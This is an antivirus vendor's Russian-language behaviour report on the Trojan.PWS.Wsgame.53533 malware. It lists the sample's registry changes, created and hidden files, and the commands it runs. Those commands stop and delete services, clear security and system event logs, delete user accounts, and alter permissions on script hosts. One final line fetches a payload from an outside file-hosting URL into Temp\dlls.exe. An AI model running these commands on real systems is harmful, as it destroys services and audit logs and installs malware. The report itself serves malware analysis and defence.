Trojan.PWS.Wsgame.53533

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\Software\Classes\VBSFile\Shell\Open\Command] '' = '%WINDIR%\SysWow64\WScript.exe "%1" %*'

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\net.exe' stop lanmanserver /y
'%WINDIR%\syswow64\net.exe' stop mssecsvc2.0
'%WINDIR%\syswow64\net.exe' stop mssecsvc2.1
'%WINDIR%\syswow64\net.exe' stop COMSysCts
'%WINDIR%\syswow64\net.exe' stop WmiAppSrv
'%WINDIR%\syswow64\net.exe' stop Bcdefg
'%WINDIR%\syswow64\net.exe' stop WSSDPSRVS
'%WINDIR%\syswow64\taskkill.exe' /f /t /im cscript.exe
'%WINDIR%\syswow64\taskkill.exe' /f /t /im wscript.exe

Изменения в файловой системе

Создает следующие файлы

%WINDIR%\temp\vbs.reg
%WINDIR%\temp\dllss.bat
<Текущая директория>\tem.vbs
<Текущая директория>\xxoo.vbs

Присваивает атрибут 'скрытый' для следующих файлов

<Текущая директория>\tem.vbs

Удаляет следующие файлы

<Текущая директория>\tem.vbs

Самоудаляется.

Сетевая активность

UDP

DNS ASK no##.youdao.com

Другое

Ищет следующие окна

ClassName: 'RegEdit_RegEdit' WindowName: ''
ClassName: '' WindowName: ''

Создает и запускает на исполнение

'%WINDIR%\syswow64\wscript.exe' "<Текущая директория>\tem.vbs"
'%WINDIR%\syswow64\cmd.exe' /c regedit /s %WINDIR%\temp\vbs.reg' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' delete SSDPSRVS' (со скрытым окном)
'%WINDIR%\syswow64\net.exe' stop WSSDPSRVS' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' delete Bcdefg' (со скрытым окном)
'%WINDIR%\syswow64\net.exe' stop Bcdefg' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' delete WmiAppSrv' (со скрытым окном)
'%WINDIR%\syswow64\net.exe' stop WmiAppSrv' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' delete COMSysCts' (со скрытым окном)
'%WINDIR%\syswow64\net.exe' stop COMSysCts' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' delete mssecsvc2.1' (со скрытым окном)
'%WINDIR%\syswow64\net.exe' stop mssecsvc2.1' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' delete mssecsvc2.0' (со скрытым окном)
'%WINDIR%\syswow64\net.exe' stop mssecsvc2.0' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' delete lanmanserver' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' config lanmanserver start= DISABLED 2>nul' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c %WINDIR%\TEMP\dllss.bat' (со скрытым окном)
'%WINDIR%\syswow64\net.exe' stop lanmanserver /y' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\sc.exe' config lanmanserver start= DISABLED 2>nul
'%WINDIR%\syswow64\net1.exe' stop mssecsvc2.1
'%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\cscript.exe /g everyone:f
'%WINDIR%\syswow64\cacls.exe' <SYSTEM32>\wscript.exe /g everyone:f
'%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe" /f
'%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe" /f
'%WINDIR%\syswow64\wevtutil.exe' cl "windows powershell"
'%WINDIR%\syswow64\wevtutil.exe' cl "security"
'%WINDIR%\syswow64\wevtutil.exe' cl "system"
'%WINDIR%\syswow64\reg.exe' delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /f
'%WINDIR%\syswow64\net.exe' user mm123$ /del
'%WINDIR%\syswow64\net1.exe' user mm123$ /del
'%WINDIR%\syswow64\net.exe' user admin$ /del
'%WINDIR%\syswow64\net1.exe' user admin$ /del
'%WINDIR%\syswow64\net.exe' user aliyun /del
'%WINDIR%\syswow64\net1.exe' user aliyun /del
'%WINDIR%\syswow64\net.exe' user lcy /del
'%WINDIR%\syswow64\net1.exe' user lcy /del
'%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe" /f
'%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sqlser.exe" /f
'%WINDIR%\syswow64\cacls.exe' %WINDIR%\SysWOW64\wscript.exe /g everyone:f
'%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /f
'%WINDIR%\syswow64\cacls.exe' %WINDIR%\SysWOW64\cscript.exe /g everyone:f
'%WINDIR%\syswow64\net1.exe' stop COMSysCts
'%WINDIR%\syswow64\sc.exe' delete lanmanserver
'%WINDIR%\syswow64\sc.exe' delete mssecsvc2.0
'%WINDIR%\syswow64\sc.exe' delete mssecsvc2.1
'%WINDIR%\syswow64\sc.exe' delete COMSysCts
'%WINDIR%\syswow64\sc.exe' delete WmiAppSrv
'%WINDIR%\syswow64\sc.exe' delete Bcdefg
'%WINDIR%\syswow64\sc.exe' delete SSDPSRVS
'%WINDIR%\syswow64\cmd.exe' /c regedit /s %WINDIR%\temp\vbs.reg
'%WINDIR%\syswow64\cmd.exe' /c %WINDIR%\TEMP\dllss.bat
'%WINDIR%\syswow64\sc.exe' stop "Evemt Windows"
'%WINDIR%\syswow64\regedit.exe' /s %WINDIR%\temp\vbs.reg
'%WINDIR%\syswow64\sc.exe' delete "Evemt Windows"
'%WINDIR%\syswow64\net1.exe' stop WmiAppSrv
'%WINDIR%\syswow64\attrib.exe' +s +h +r %WINDIR%\Fonts\Windows
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo y"
'%WINDIR%\syswow64\cacls.exe' %WINDIR%\Fonts\Windows /d everyone
'%WINDIR%\syswow64\net1.exe' stop Bcdefg
'%WINDIR%\syswow64\net1.exe' stop mssecsvc2.0
'%WINDIR%\syswow64\net1.exe' stop WSSDPSRVS
'%WINDIR%\syswow64\net1.exe' stop lanmanserver /y
'%WINDIR%\syswow64\cscript.exe' xxoo.vbs "http://no##.youdao.com/yws/api/personal/file/WEB9582c940624e9219810ac5a73cf78f60?me###################################################################" %WINDIR%\Temp\dlls.exe